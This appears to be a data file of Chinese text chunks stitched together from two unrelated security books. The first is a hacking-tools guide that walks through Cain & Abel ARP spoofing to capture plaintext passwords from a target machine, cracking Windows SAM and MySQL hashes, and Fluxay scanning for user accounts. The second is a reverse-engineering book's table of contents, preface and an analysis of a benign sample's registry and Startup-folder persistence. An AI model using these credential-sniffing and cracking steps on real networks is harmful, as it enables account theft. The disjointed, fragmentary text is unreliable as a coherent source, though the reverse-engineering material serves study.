    {"text": "1 打开Sniffer Pro程序窗口，选择【工具】 【数据包发生 器】菜单项。 2 打开【数据包】发生器对话框，单击 按钮。 3 打开【发送新的帧】对话框，在此可以修改数据包的发送次 数、类型、大小和内容。"},
    {"text": "4 单击 按钮，打开【设置数据包大小】对话框，在此可以 更改数据包的大小。 例如把默认的60改为128，只需要在【新大小】文 本框中输入“128”，然后单击 按钮即可。 5 返回【发送新的帧】对话框，把鼠标指针定位到【数据】文本 框，使用光标键移动位置，使用键盘输入十六进制数值即可更改数据 包的内容。 6 返回【数据包发生器】对话框，单击 按钮即可开始数据包 的发送操作。 7 切换到【动画】选项卡，数据包的发送会以的动画形式进行演 示。"},
    {"text": "2.4.3 网络诊断与分析工具——科来网络分析系统 科来网络分析系统是一个集数据包采集、解码、协议分析、统 计、日志图表等多种功能为一体的综合网络分析系统，它可以帮助网 络管理员进行网络监测、定位网络故障、排查网络内部的安全隐患。 科来网络分析系统能够进行实时的采集-分析-统计处理，能够即 时的反应网络通信状况，不需要进行任何后期处理。"},
    {"text": "选择网络适配器 系统能够自动检测和显示当前的网络适配器及其IP地址、每秒数 据包数，并图形化的显示当前网络适配器的流量趋势，您可以根据实 际情况选择用于采集数据的网络适配器。"},
    {"text": "分析方案 分析方案用于保存某个特定分析需求的配置信息，科来网络分析 系统针对典型的分析使用场景内建了若干的分析方案供用户选择，每 个分析方案对应一个特定的分析需求。"},
    {"text": "以实时分析为例，只需分别选中【网络适配器】中的【本地连 接】选项和【分析方案】中的【全面分析】选项，然后单击 按钮 即可开始网络数据包的捕获。"},
    {"text": "2.基本界面介绍 开始捕获数据包后，此时显示的是科来网络分析系统 2010 的主 界面，主要由【功能区】、【节点浏览器】和【主视图区】3大部分组 成。"},
    {"text": "【分析】页面中包括数据包捕捉、网络档案设置、分析方案设 置、全局仪表盘以及数据包缓存状态显示，用户可以从该栏中进行各 项分析设置，快速查看网络全局利用率、每秒数据包、网络流量趋势 以及数据包缓存状态等信息。"},
    {"text": "【节点浏览器】 节点浏览器可以按三类浏览方式（按协议、按物理端点或按IP端 点），实时反映网络中出现的协议、主机，该主机的物理地址、IP地 址，以及是否正在通信。 节点浏览器以树状层级方式显示当前通讯的网络协议、物理地址 以及IP地址。 通过节点浏览器，用户可以快速定位和查看节点数据信 息，如查看某个IP组信息、单个IP地址、物理地址或协议的详细信 息。"},
    {"text": "主视图区包括【我的图表】、【概要】、【诊断】、【协 议】、【物理端点】、【IP端点】、【物理会话】、【IP会话】、 【TCP会话】、【UDP会话】、【矩阵】、【数据包】、【日志】和 【报表】选项卡，其中使用最多的是【我的图表】、【诊断】、【IP 端点】、【矩阵】、【数据包】和【日志】选项卡。"},
    {"text": "（2）【诊断】选项卡 科来网络分析系统的【诊断】选项卡中有【诊断条目】、【诊断 发生地址】和【诊断事件】3 个窗格，可以非常方便和直观地查看到 当前网络中发生的网络事件。"},
    {"text": "（3）【IP端点】选项卡 【IP端点】选项卡能够显示按IP类型统计的IP地址之间的通信情 况，用户能够自定义统计参数显示以及按参数大小重新排序。 通过【IP端点】选项卡，用户可以快速地查找并定位通信量最大 的IP节点和物理节点，可以了解当前网络中所有主机的具体流量占用 情况。"},
    {"text": "如总流量最大的主机、发送流量最大的主机、接收流量最大的 主机、收发数据包数最多的主机、发送数据包最多的主机、接收数据 包最多的主机、内部流量最大的主机、广播流量最大的主机等信息。"},
    {"text": "用户可以使用以上获得的信息来确定网络中是否存在广播/组播风 暴，有助于排查网络速度慢、网络时断时续、蠕虫病毒攻击、DOS 攻 击和无法上网等网络故障。"},
    {"text": "（5）【数据包】选项卡 在【数据包】选项卡中可以详细查看网络中原始的数据包通信情 况，科来网络分析系统会对每个数据包进行详细的分析和解码，包括 概要解码，字段解码和十六制解码。"},
    {"text": "科来网络分析系统提供全局日志汇总显示，既可将各应用分析方 案提供的日志汇总显示，也可单独显示某种类型的日志，以便于数据 分析、快速排查网络故障。"},
    {"text": "2 打开【过滤器】对话框，左侧窗格中列出了常用的网络协议， 右侧窗格则以流程图的形式显示网络适配器（即网卡）接收的数据以 何种方式送到【分析模块】。"},
    {"text": "5 单击【开始】按钮 ，科来网络分析网络开始重新捕获数据 包，只捕获那些适合过滤器要求的数据包，用户可以在【主视图区】 使用各种选项卡查看详细的信息。"},
    {"text": "4. 分析方案设置 在进行数据包捕获时，可以通过分析方案设置对捕捉网络数据时 的条件进行设置，如网络分析对象设置、数据包缓存大小和保存选 项、网络事件诊断设置、日志设置和分析视图设置。"},
    {"text": "打开【分析方案（全面分析）】对话框，括号内的全面分析指的 是当前采用的分析方案为【全面分析】，如果用户使用了其他方案， 名称也会随之变化。"},
    {"text": "科来网络分析系统默认分析全部的对象，用户可以关闭某些不需 要的网络对象数据分析，如远程IP地址、物理地址组、IP地址组等， 也可以关闭网络对象的分析协议明细。"},
    {"text": "如 果打开物理会话而关闭物理会话的分析协议明细，那么将不会统计通 信协议的物理会话，此时在节点浏览器中选择某个协议的时候，其物 理会话视图为空。"},
    {"text": "在【数据包显示缓存】选项卡中，主要是针对数据包缓存（默认 16 兆字节）以及数据包缓存模式设置，系统默认设置为：当缓存满 时，丢掉旧数据包，即循环缓存。"},
    {"text": "如果用户使用的是科来的收费版本，可以将设置更改为自动保存 数据包文件，将采集到的数据包进行自动保存，以便将原始数据信息 保存下来供以后分析；"},
    {"text": "在【诊断】选项卡中，包含了系统支持的所有诊断事件，用户可 以根据自身的网络情况，更改诊断事件的设置，如颜色、严重程度、 条件阈值等。"},
    {"text": "在【分析视图】选项卡中，用户可以设置视图是否显示，只有那 些被中的选项，才能以选项卡的形式出现在【主视图区】中，那些没 有被选中的选项将不会出现。"},
    {"text": "2.5 常用的密码破解工具 一般黑客手中都有几款功能强大的密码破解工具，例如 Cain、流 光之类，它们或者功能全面，或者某一方面的破解能力特别强。"},
    {"text": "2.5.1 嗅探、破解综合工具——Cain Cain & Abel 是一个针对Microsoft Windows操作系统的免费口令 恢复工具，它的功能十分强大，具有网络嗅探，网络欺骗，破解加密 口令、解码被打乱的口令、显示口令框、显示缓存口令和分析路由协 议的功能，如果目标主机使用voip电话，还可以获得电话录音。"},
    {"text": "1. 安装Cain & Abel Cain & Abel的较新版本为4.9.43，有一种包含 WinPcap 驱动的 单文件版本，下面以在Windows 7操作系统中安装为例，具体的操作步 骤如下。"},
    {"text": "1 双击Cain&Abel安装程序图标 ，弹出【用户账户控制】对 话框，单击 按钮。 2 弹出【Cain & Abel V4.9.43】界面，单击 按钮。 3 弹出Cain & Abel软件许可协议界面，单击 按钮。"},
    {"text": "运行Cain & Abel程序前还需要在系统中安装WinPcap驱动程序， 该驱动程序用于Windows 32位平台下的网络抓包和分析，这样类似 Cain之类的扫描器、嗅探器程序才能正常地运行。"},
    {"text": "11 弹出【Installation options】界面，默认情况下WinPcap程 序会随着操作系统的启动而自动启动，如果想要禁止该功能，只需撤 选其中的复选框即可，然后单击 按钮。 12 开始安装 WinPcap 程序，随后弹出【Completing……】界 面，然后单击 按钮即可完成安装。"},
    {"text": "【Decoders】（解密器）选项 【Decoders】选项卡的作用是读取缓存中保存的各种密码，只需 选择左侧窗格中的选项，然后单击 按钮，即可在右侧窗格中看到 保存在缓存中的密码。"},
    {"text": "【Network】（网络）选项 【Network】选项卡主要用来鉴别各域控制器、SQLServer、打印 服务、远程拨入和终端服务等。 【Network】选项卡的左侧窗格用来浏览网络结构和连接远程主 机，右侧窗格则显示连接到的主机用户名、工作组、服务和共享资源 等信息。"},
    {"text": "4 Cain & Abel会扫描该组中的所有在线用户，并把结果以列表的 形式显示出来，在右侧窗格中可以看到电脑名称、操作系统类型和系 统版本等信息。"},
    {"text": "5 如果想要查看某台电脑（例如DELL-PC）的信息，只需双击左侧 窗格中的选项即可。 6 随后可以展开【DELL-PC】选项卡，双击【Shares】选项即可查 看该电脑中的共享信息。"},
    {"text": "【Sniffer】(嗅探器)选项卡 【Sniffer】选项卡的作用是嗅探，这也是Cain & Abel的重要功 能，利用其中的ARP欺骗攻击选项，装有程序的电脑可以接收目标电脑 的网络数据，嗅探局域网中某台或几台电脑的数据，获取其中传输的 账户、密码等敏感信息。"},
    {"text": "1 单击 图标按钮启动嗅探器，在【Hosts】选项卡中窗格的 空白处单击鼠标右键，选择【Scan MAC Addresses】快捷菜单项。 2 弹出【MAC Addresses Scanner】对话框，在此可以选择扫描模 式，一共分为3大类型：全部、指定和ARP攻击扫描。"},
    {"text": "6 随后在右侧窗格中选择该主机的网关地址 （192.168.100.250），单击 按钮返回Cain & Abel程序窗 口。 7 只需单击 按钮即可开始对IP地址为192.168.100.96的电脑 进行嗅探。 8 此时IP地址为 192.168.100.96 的电脑与网关 （192.168.100.250）之间的所有通信数据将被捕获，其中以明文形式 传输的账户和密码等信息可以直接出来。"},
    {"text": "【Cracker】（破解）选项卡 Cain & Abel程序的另一个重要功能是破解密码，支持众多的加密 算法破解，可以使用暴力破解和字典破解两种方式。 切换到【Cracker】选项卡，左侧窗格中显示了很多的破解选项， 包括系统登录密码破解、MD2、MD4、MD5、SHA、SQL 数据库和无级网 络破解等选项。"},
    {"text": "（1）暴力破解Windows XP系统的登录密码 一台装有Windows XP系统的电脑，需要输入登录密码才能进入桌 面，如果忘记了登录密码，将导致电脑无法使用，此时可以使用Cain &Abel程序破解这台电脑中的注册表文件（sam、system）从而获取其 中保存的密码，具体操作步骤如下。"},
    {"text": "7 返回【Syskey Decoder】对话框，稍后即可计算出Boot Key 值。 选中计算出的数值，按下键盘上的【Ctrl+C】组合键，单击 按钮关闭【Syskey Decoder】对话框。 8 把鼠标定位到【Add NT Hashes from】对话框中的【Boot Key】文本框中，按下【Ctrl+V】组合键，单击 按钮。"},
    {"text": "11 弹出【Brute-Force Attack】对话框，可以在【Predefined】 下拉列表选择框中选择字母、数字和符号的组合方式，在【Password length】选项中设置密码的最小长度（Min）和最大长度（Max），设 置完毕后单击 按钮。"},
    {"text": "（2）字典破解MySQL密码 MySQL 的账户和密码信息保存在一段哈希值中，例如 “23AE809DDACAF96AF0FD78ED04 B6A265E05AA257”就是一个V4标准的 MySQL哈希值，其中就包含了密码信息。"},
    {"text": "1 切换到【Cracker】选项卡，在左侧窗格中选中【MySQL Hashes】选项，接着在右侧窗格的空白处单击鼠标左键，此时工具栏 上的 按钮将变为可用，单击 按钮。 2 弹出【Add MySQL Hashes】对话框，在【Hash】文本框中输入 要破解的哈希值“ 23AE809DDACAF96AF0FD78ED04B6A265&nbsp;E05AA257”，单击 按钮。 3 返回Cain & Abel程序窗口，选中右侧窗格中出现的选项，单击 鼠标右键，然后选择【DictionaryAttack】 【MySQLSHA1Hashes】 快捷菜单项。 4 弹出【Dictionary Attack】对话框，接着添加字典文件，在 【Dictionary】列表框的空白处单击鼠标右键，选择【Add to list】 菜单项。 5 弹出【打开】对话框，从中查找到所需的字典文件（本例中使 用password1），然后单击 按钮。 6 选中的字典文件即被添加到【Dictionary】列表框中，单击 按钮。"},
    {"text": "弹出【Rainbow Table properties】对话框，在【Hash】下拉列 表框中选择密码类型，在 【Min Len】和【Max Len】文本框中分别输 入最短和最长的密码长度，在【Charset】下拉列表框中选择合适的字 符集，设置完毕单击 按钮即可生成指定的密码字典文件。"},
    {"text": "2 选择【选项】 【系统设置】菜单项。 3 弹出【系统设置】对话框，该对话框中包括线程的设置和端口 的设置，用户可以根据自身的需求和硬件的配置情况对相应设置下面 的滑块进行拖动来调节优先级、线程数以及单词数/线程，在【端口】 组合框中的设置采用默认即可。"},
    {"text": "4 单击 按钮返回流光主窗口，选择【选项】 【字典 设置】菜单项，弹出【字典选项】对话框，然后选中【加常用后缀】 复选框，单击 按钮。 5 弹出【打开】对话框，在流光程序所在的文件夹中可以看到有 后缀名的两个文件，这是软件自带的字典文件。"},
    {"text": "11 返回流光主窗口，选择【选项】 【IPC用户列表选项】菜 单项，弹出【用户列表选项】对话框，默认情况是列出 20 个用户， 用户也可以自行地增加或减少用户的个数，当需要列出所有的用户 时，选中【列出主机中所有用户】复选框。"},
    {"text": "12 返回流光主窗口，选择【选项】 【网络参数设置】菜单 项，弹出【网络参数】对话框，在这里面需要设置TCP连接超时和TCP 数据超时，默认的是“10000”，用户可以适当地延长或缩短时间，然 后单击 按钮。 13 返回流光主窗口，选择【选项】 【其他】菜单项，弹出 【其他】对话框，如果用户的电脑性能不是太高，可以撤选【动态效 果开启】复选框来关闭动态效果。"},
    {"text": "2. 工具设置 工具中的菜单项有很多，包括字典工具、NT/IIS工具、MSSQL工 具、Fluxay Sensor工具以及远程网络嗅探，用户可以自行实践和学 习，这里主要介绍字典工具的设置。"},
    {"text": "1 打开流光程序主窗口，选择【工具】 【字典工具】 【黑客字典III—流光版】菜单项。 2 弹出【黑客字典流光版】对话框，切换到【设置】选项卡，在 此用户可以根据实际情况进行设置。"},
    {"text": "在Windows 7操作系统中，由于操作系统对系统分区有严格的权限 限制，可能无法把字典文件保存在系统分区，因此应把字典文件保存 在操作系统之外的分区。"},
    {"text": "2 弹出【设置】对话框，在【起始地址】和【结束地址】填入IP 地址，在【目标系统】下拉列表框中选择【ALL】单选钮，然后选中 【获取主机名】和【PING 检查】前的复选框，然后单击 按 钮，再单击 按钮。 3 弹出【PORTS】对话框，一般情况下，选中【标准端口扫描】单 选钮即可。 如果想要对指定的端口进行扫描，可以先选中【自定义端 口扫描范围】单选钮，然后在【从】和【到】文本框中分别输入起始 和终止的端口号。"},
    {"text": "5 弹出【FTP】对话框，保持默认设置，然后单击 按 钮。 6 弹出【SMTP】对话框，保持默认设置，单击 按钮。 7 弹出【TELNET】对话框，保持默认设置，单击 按 钮。 8 弹出【CGI】对话框，保持默认设置，单击 按钮。 9 弹出【CGI Rules】对话框，选中左上方规则选择框中的 【ALL】单选钮，然后单击 按钮，再单击 按钮。"},
    {"text": "版权信息 书名：有趣的二进制：软件安全与逆向分析 作者：［日］ 爱甲健二 译者：周自恒 ISBN：978-7-115-40399-5 本书由北京图灵文化发展有限公司发行数字版。"},
    {"text": "图灵社区会员 张海川（zhanghaichuan@ptpress.com.cn） 专享 尊重版权 版权声明 译者序 免责声明 关于商标和注册商标 前言 第 1 章 通过逆向工程学习如何读懂二进制代码 1.1 先来实际体验一下软件分析吧 1.1.1 通过 Process Monitor 的日志来确认程序的行为 1.1.2 从注册表访问中能发现些什么 1.1.3 什么是逆向工程 1.2 尝试静态分析 1.2.1 静态分析与动态分析 1.2.2 用二进制编辑器查看文件内容 1.2.3 看不懂汇编语言也可以进行分析 1.2.4 在没有源代码的情况下搞清楚程序的行为 1.2.5 确认程序的源代码 1.3 尝试动态分析 设置 Process Monitor 的过滤规则 1.3.2 调试器是干什么用的 1.3.3 用 OllyDbg 洞察程序的详细逻辑 1.3.4 对反汇编代码进行分析 1.3.5 将分析结果与源代码进行比较 1.4 学习最基础的汇编指令 1.4.1 没必要记住所有的汇编指令 1.4.2 汇编语言是如何实现条件分支的 1.4.3 参数存放在栈中 1.4.4 从汇编代码联想到 C 语言源代码 1.5 通过汇编指令洞察程序行为 1.5.1 给函数设置断点 1.5.2 反汇编并观察重要逻辑 第 2 章 在射击游戏中防止玩家作弊 2.1 解读内存转储 2.1.1 射击游戏的规则 2.1.2 修改 4 个字节就能得高分 2.1.3 获取内存转储 2.1.4 从进程异常终止瞬间的状态查找崩溃的原因 2.1.5 有效运用实时调试 2.1.6 通过转储文件寻找出错原因 2.2 如何防止软件被别人分析 2.2.1 反调试技术 2.2.2 通过代码混淆来防止分析 2.2.3 将可执行文件进行压缩 2.2.4 将压缩过的可执行文件解压缩：解包 2.2.5 通过手动解包 UPX 来理解其工作原理 2.2.6 用硬件断点对 ASPack 进行解包 第 3 章 利用软件的漏洞进行攻击 3.1 利用缓冲区溢出来执行任意代码 3.1.1 引发缓冲区溢出的示例程序 3.1.2 让普通用户用管理员权限运行程序 3.1.3 权限是如何被夺取的 3.1.4 栈是如何使用内存空间的 3.1.5 攻击者如何执行任意代码 3.1.6 用 gdb 查看程序运行时的情况 3.1.7 攻击代码示例 3.1.8 生成可用作 shellcode 的机器语言代码 3.1.9 对 0x00 的改进 3.2 防御攻击的技术 3.2.1 地址随机化：ASLR 3.2.2 除存放可执行代码的内存空间以外，对其余内存空间尽量禁用执行权限：Exec-Shield 3.2.3 在编译时插入检测栈数据完整性的代码：StackGuard 3.3 绕开安全机制的技术 3.3.1 使用 libc 中的函数来进行攻击：Return-into-libc 3.3.2 利用未随机化的模块内部的汇编代码进行攻击：ROP 第 4 章 自由控制程序运行方式的编程技巧 4.1 通过自制调试器来理解其原理 4.1.1 亲手做一个简单的调试器，在实践中学习 4.1.2 调试器到底是怎样工作的 4.1.3 实现反汇编功能 4.1.4 运行改良版调试器 4.2 在其他进程中运行任意代码 ：代码注入 4.2.1 向其他进程注入代码 4.2.2 用 SetWindowsHookEx 劫持系统消息 4.2.3 将 DLL 路径配置到注册表的 AppInit_DLLs 项 4.2.4 通 过 CreateRemoteThread 在其他进程中创建线程 4.2.5 注入函数 4.3 任意替换程序逻辑 ：API 钩子 4.3.1 API 钩子的两种类型 4.3.2 用 Detours 实现一个简单的 API 钩子 4.3.3 修改消息框的标题栏 第 5 章 使用工具探索更广阔的世界 5.1 用 Metasploit Framework 验证和调查漏洞 5.1.1 什么是 Metasploit Framework 5.1.2 安全漏洞的信息从何而来 5.1.3 搭建用于测试漏洞的环境 5.1.4 利用漏洞进行攻击 5.1.5 一个 ROP 的实际例子 5.2 用 EMET 观察反 ROP 的机制 5.2.1 什么是 EMET 5.2.2 Anti-ROP 的设计获得了蓝帽奖 5.2.3 如何防止攻击 5.2.4 搞清楚加载器的逻辑 5.2.5 DLL 的程序逻辑 5.2.6 CALL-RETN 检查 5.2.7 如何防止误判 5.2.8 检查栈的合法性 5.3 用 REMnux 分析恶意软件 5.3.1 什么是 REMnux 5.3.2 更新特征数据库 5.3.3 扫描目录 5.4 用 ClamAV 检测恶意软件和漏洞攻击 5.4.1 ClamAV 的特征文件 5.4.2 解压缩 .cvd 文件 5.4.3 被检测到的文件详细信息 5.4.4 检测所使用的打包器以及疑似恶意软件的文件 5.5 用 Zero Wine Tryouts 分析恶意软件 5.5.1 REMnux 与 Zero Wine Tryouts 的区别 5.5.2 运行机制 5.5.3 显示用户界面 5.5.4 确认分析报告 5.6 尽量减少人工分析 ：启发式技术 5.6.1 恶意软件应对极限的到来：平均每天 60000 个 5.6.2 启发式技术革命 5.6.3 用两个恶意软件进行测试 附录 A.1 安装 IDA A.2 安装 OllyDbg A.3 安装 WinDbg A.4 安装 Visual Studio 2010 A.5 安装 Metasploit A.6 分析工具 Stirling / BZ Editor Process Monitor Process Explorer Sysinternals 工具 兔耳旋风 参考文献 后记 版权声明 TANOSHII BANNARI NO ARUKIKATA by Kenji Aiko Copyright © 2013 Kenji Aiko All rights reserved. Original Japanese edition published by Gijyutsu-Hyoron Co., Ltd., Tokyo This Simplified Chinese language edition published by arrangement with Gijyutsu-Hyoron Co., Ltd., Tokyo in care of Tuttle-Mori Agency, Inc., Tokyo 本书中文简体字版由 Gijyutsu-Hyoron Co., Ltd., Tokyo 授权人民邮电出版社独家出版。"},
    {"text": "很多人说，写汇编语言的时候总得操心寄存器，写 C 语言的时候总得操心内存，而如今到了 Web 当道的时代，不但底层的事情完全用不着操心了，就连应用层的事情也有大把的框架来替你搞定。"},
    {"text": "当然，这其实是一件好事，这说明技术进步了，分工细化了，只需要一小部分人去研究底层，剩下大部分人都可以享受他们的伟大成果，把精力集中在距离解决实际问题更近的地方，这样才能解放出更多的生产力。"},
    {"text": "现代数字计算机自问世以来已经过了将近 60 年，在这 60 年中，计算机的制造技术、性能、外观等都发生了翻天覆地的变化，然而其基本原理和结构依然还是 1946 年冯 · 诺依曼大神所描绘的那一套。"},
    {"text": "冯 · 诺依曼结构的精髓在于，处理器按照顺序执行指令和操作数据，而无论指令还是数据，它们的本质并没有区别，都是一串二进制数字的序列。"},
    {"text": "我们现在用计算机上网、聊天、看视频、玩游戏，根本不会去考虑二进制层面的问题，不过较早接触计算机的一代人，其实都曾经离底层很近，像这本书里面所讲的调试器、反汇编器、二进制编辑器、内存编辑器等，当初可都是必备的法宝，也给我们这一代人带来过很多乐趣。"},
    {"text": "在 MS-DOS 时代，很多人都用过一个叫 debug 的命令，这就是一个非常典型的调试器。 准确地说，debug 的功能已经超出了调试器的范畴，除了调试之外，它还能够进行汇编、反汇编、内存转储，甚至直接修改磁盘扇区，俨然是那个年代的一把“瑞士军刀”。"},
    {"text": "我上初中的时候，学校上计算机课用的电脑在 BIOS 里禁用了软驱，而且还设置了 BIOS 密码，于是我运行 debug，写几条汇编指令，调用系统中断强行抹掉 CMOS 数据，重启之后显示 CMOS 数据异常，于是 BIOS 设置被恢复到默认状态，软驱也就可以用了，小伙伴们终于可以把游戏带来玩了。"},
    {"text": "当然，学校老师后来还是找到我谈话，原因仅仅是因为我在信息学奥赛得过奖，他们觉得除了我以外不可能有别人干得出这种事了…… 很多资历比较老的 PC 游戏玩家其实也都和二进制打过交道，比如说，大家应该还记得一个叫“整人专家 FPE”的软件。"},
    {"text": "除了修改内存中的数据，很多玩家应该也用二进制编辑器修改过游戏存档，比如当年的《金庸群侠传》《仙剑奇侠传》，改金钱道具能力值那还是初级技巧，还有一些高级技巧，比如改各种游戏中的 flag，这样错过开启隐藏分支的条件也不怕不怕啦。"},
    {"text": "此外，各种破解游戏激活策略的补丁也是通过调试和反汇编研究出来的，我也曾经用 SoftICE 玩过一点逆向工程，找到判断是否注册激活的逻辑，然后用一个无条件跳转替换它，或者是跳过序列号的校验逻辑，不管输入什么序列号都能激活。"},
    {"text": "想想看，用 iPhone 随便拍一张照片就得差不多 2MB 大小，相当于 64KB 的 32 倍，然而大神们却能在 64KB 的空间里塞下长达十几分钟的 3D 动画和音乐，着实令人惊叹不已。"},
    {"text": "诚然，二进制的可能性是无穷无尽的，这本书所涉及的也只是其中很小的一方面，但正如作者在前言中所说的那样，希望大家能够借此体会到底层技术所特有的快乐。"},
    {"text": "烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫 周自恒 2015 年 8 月于上海 免责声明 本书的内容以提供信息为目的，在使用本书的过程中，读者需要自己做出判断并承担相应的责任。"},
    {"text": "此外，如果别人编写的库里有 bug，那么即便看不到源代码，我们也能够对其内部结构进行分析，并找到避开问题的方法，也可以为库的开发者提供更有帮助的信息。"},
    {"text": "学习汇编能够更好地理解 CPU 的工作原理，从而能够处理系统内核、驱动程序这一类近乎于黑箱的底层问题，对于实际的底层开发工作也非常有帮助。"},
    {"text": "不过，说实在的，“有没有帮助”“流不流行”这些都不重要，从个人经验来看，因为感觉“好像有用”“好像有帮助”而开始学习的东西，最后基本上都没有真正掌握（笑）。"},
    {"text": "我是从初中时代开始学习编程的，尽管当时完全没有想过将来要当程序员，靠技术吃饭，但我依然痴迷于计算机，每天编程到深更半夜，甚至影响了学习成绩，令父母担忧。"},
    {"text": "逆向工程原本是指通过拆解机器装置并观察其运行情况来推导其制造方法、工作原理和原始设计的行为，但在软件领域，逆向工程主要指的是阅读反汇编（将机器语言代码转换成汇编语言代码）后的代码，以及使用调试器分析软件行为等工作。"},
    {"text": "程序员都应该知道，处理器是通过解释和执行机器语言代码来运行程序的，但对现在的程序员来说，对机器语言代码进行反汇编并跟踪其行为并不是一项必备技能。"},
    {"text": "实际上，我自己除了汇编以外，平时也经常使用 C、Python、JavaScript 等其他语言。 不过，有些东西适合用 C、Python、JavaScript 来编写，同样也有一些东西适合用汇编语言来编写。"},
    {"text": "Stirling 2 （二进制编辑器） http://www.vector.co.jp/soft/win95/util/se079072.html Process Monitor（文件和注册表监控） http://technet.microsoft.com/en-us/sysinternals/bb896645 Wireshark（网络监控） http://www.wireshark.org/ 2 这个软件仅在日本的圈子里有名，软件也只有日文界面，如果不习惯可以使用其他类似工具（如 WinHex）来替代。"},
    {"text": "https://github.com/kenjiaiko/binarybook 3 3 译者 fork 了这个项目，并对其中的说明文件和源代码注释等进行了翻译，大家可以从这里访问： https://github.com/shyujikou/binarybook 。"},
    {"text": "——译者注 本次的分析对象为 chap01\\sample_mal\\Release 目录中的 sample_mal.exe 文件，请大家运行这个文件。 运行 sample_mal.exe 后，应该会弹出一个内容为“Hello Malware!”的对话框。 关闭对话框之后，sample_mal.exe 文件本身也会消失。"},
    {"text": "1.1.1 通过 Process Monitor 的日志来确认程序的行为 下面我们来看一下 Process Monitor 的日志。 ▲ Process Monitor 的运行结果（文件访问） 通过跟踪 Process Monitor 的日志，我们可以发现程序在以下位置进行了 CreateFile 操作。"},
    {"text": "C:\\Documents and Settings\\XPMUser\\「开始」菜单 \\ 程序 \\ 启动 \\0.exe ※Windows XP 的情况。 C:\\Users\\ 用户名 \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\0.exe ※Windows Vista 及更高版本的情况。"},
    {"text": "请大家注意，我们的示例程序连续执行了 CreateFile、WriteFile 和 CloseFile 这几个操作，这些操作加起来的功能相当于“在指定文件夹创建并写入一个名为 0.exe 的文件”。"},
    {"text": "▲ Process Monitor 的运行结果（注册表访问） 看来程序在 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Current Version\\Run 中创建了一个名为 sample_mal 的注册表项目。 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Current Version\\Run 和“启动”文件夹一样，其中注册的程序会在 Windows 重启时自动运行。 Windows 重启时自动运行的程序可以注册在下列任一注册表的位置。 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce 此外，我们发现程序还在 C:\\Documents and Settings\\XPMUser\\My Documents 目录下，也就是“我的文档”文件夹下创建了一个名为 1.exe 的文件。 ▲ 确认“我的文档”文件夹的内容 和 0.exe 一样，1.exe 也是 sample_mal.exe 的一个副本。 由于 1.exe 的路径已经被注册在注册表 HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\Current Version\\Run 下面，因此当 Windows 启动时就会自动运行 1.exe。"},
    {"text": "使用 Windows 自带的 regedit 工具就可以查看注册表，点击开始菜单→运行，输入 regedit 即可。 ▲ 确认注册表内容 可以发现注册表里面的确注册了 C:\\Documents and Settings\\XPMUser\\My Documents\\1.exe 这样的内容。"},
    {"text": "因此，如果我们删除 0.exe 和 1.exe，那么 Windows 重启时就不会再运行 sample_mal.exe 了。 其实，sample_mal.exe 只会弹出一个 Hello Malware! 的对话框，并没有进行其他任何操作。"},
    {"text": "修改注册表以便在系统重启时自动运行 将自己复制到“启动”文件夹以便在系统重启时自动运行 由于程序没有进行网络通信，因此我们暂时不需要用到 Wireshark。"},
    {"text": "当然，由于在一开始我们不知道要分析的软件具体会执行怎样的操作，因此应该尽可能地收集完整的操作日志，对于不需要的部分只要放着不用就好了。"},
    {"text": "像上面这样对软件进行分析并搞清楚其行为的工作就是“逆向工程”。 逆向工程是指一般意义上的软件分析，其对象不仅限于恶意软件，因此也不一定和计算机安全有关。 逆向工程原本是指通过拆解机器装置并观察其运行情况来推导其制造方法、工作原理和原始设计的行为，但在软件领域，逆向工程主要指的是阅读反汇编（将机器语言代码转换成汇编语言代码）后的代码，以及使用调试器分析软件行为等工作。 一直以来，在计算机病毒分析、防止软件非法使用的防拷贝技术，以及评估软件强度的抗篡改测试等领域都会用到逆向工程技术。 一般认为，和软件开发所使用的编程技术相比，逆向工程属于另一种完全不同的技能。 此外，由于逆向工程常常被用于恶意软件分析、防拷贝等领域，因此也经常被归为安全技术的一种。"},
    {"text": "专栏：逆向工程技术大赛 在一些国家，政府和民间社区会举办一些以 CTF（Capture the Flag）为代表的逆向工程技术大赛，以推动信息安全技术的发展。"},
    {"text": "SECCON CTF（日本） http://www.seccon.jp/ DEFCON CTF（美国） http://www.defcon.org/html/defcon-20/dc-20-ctf.html CODEGATE CTF（韩国） http://yut.codegate.org/ 近年来，随着需求的不断增加，世界各地都开始开展各种安全竞赛活动。"},
    {"text": "静态分析：在不运行目标程序的情况下进行分析 动态分析：在运行目标程序的同时进行分析 刚才我们对 sample_mal.exe 进行分析的方法就属于动态分析。"},
    {"text": "阅读反汇编代码 提取可执行文件中的字符串，分析使用了哪些单词 从广义上来看，用二进制编辑器查看可执行文件的内容也可以算作是一种静态分析。"},
    {"text": "下 面，我们先来对 chap01\\wsample01a\\Release 中的示例程序 wsample01a.exe 进行静态分析。 wsample01a.exe 的运行结果如下所示。 ▲ wsample01a.exe 的运行结果 运行之后，我们发现这个程序只是简单地显示了一个 Hello! Windows 对话框而已。"},
    {"text": "就我个人来说，二进制编辑器、计算器、反汇编器和调试器可谓是逆向工程的四大法宝，不过在这方面使用什么工具也是因人而异，我说的也并不是唯一标准。"},
    {"text": "Stirling http://www.vector.co.jp/soft/win95/util/se079072.html BZ Editor http://www.vector.co.jp/soft/win95/util/se032859.html 这两个工具可以说各有所长，大多数软件分析者都是两者并用的。 笔者也是两个工具都安装了，但如果一定要二者选其一的话，笔者比较推荐 Stirling，本书中的讲解也是以使用 Stirling 为前提来进行的（理由请参见专栏）。 专栏：Stirling 与 BZ Editor 的区别 刚才我们提到“Stirling 和 BZ Editor 这两个工具各有所长”，但使用 Stirling 基本上可以应付大多数情况。"},
    {"text": "一般来说，我们处理大文件的机会还是比较少的，因此通常情况下使用 Stirling 就足够了，不过 BZ Editor 却能够弥补这一缺点，它可以轻松打开大文件，而且反应更敏捷。"},
